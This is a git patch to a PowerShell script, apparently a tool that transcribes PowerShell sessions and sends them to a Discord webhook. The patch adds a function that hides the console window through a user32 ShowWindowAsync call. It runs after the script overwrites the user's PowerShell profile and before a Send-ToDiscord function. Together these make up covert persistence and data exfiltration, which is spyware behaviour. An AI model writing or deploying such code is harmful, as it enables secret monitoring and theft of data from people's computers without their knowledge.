From a5b0cc627c0a5a77c020f9fe179a3c86843e0e65 Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Wed, 3 Apr 2024 19:56:26 +0000 Subject: [PATCH] Update main.ps1 --- Global-PS-Trascription-to-Discord/main.ps1 | 21 ++++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) diff --git a/Global-PS-Trascription-to-Discord/main.ps1 b/Global-PS-Trascription-to-Discord/main.ps1 index cd1b7f6..8998a26 100644 --- a/Global-PS-Trascription-to-Discord/main.ps1 +++ b/Global-PS-Trascription-to-Discord/main.ps1 @@ -1,5 +1,7 @@ $webhookUrl = "$dc" +$hideWindow = 0 # 1 = Hidden + [Console]::BackgroundColor = "Black" [Console]::SetWindowSize(60, 20) Clear-Host @@ -9,6 +11,23 @@ Test-Path $Profile $directory = Join-Path ([Environment]::GetFolderPath("MyDocuments")) WindowsPowerShell $ps1Files = Get-ChildItem -Path $directory -Filter *.ps1 +Function HideConsole{ + If ($HideWindow -gt 0){ + $Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);' + $Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru + $hwnd = (Get-Process -PID $pid).MainWindowHandle + if($hwnd -ne [System.IntPtr]::Zero){ + $Type::ShowWindowAsync($hwnd, 0) + } + else{ + $Host.UI.RawUI.WindowTitle = 'hideme' + $Proc = (Get-Process | Where-Object { $_.MainWindowTitle -eq 'hideme' }) + $hwnd = $Proc.MainWindowHandle + $Type::ShowWindowAsync($hwnd, 0) + } + } +} + function CreateRegKeys { param ([string]$KeyPath) @@ -101,7 +120,7 @@ catch [System.Management.Automation.PSNotSupportedException] "@ $scriptblock | Out-File -FilePath $Profile -Force - +HideConsole function Send-ToDiscord { param (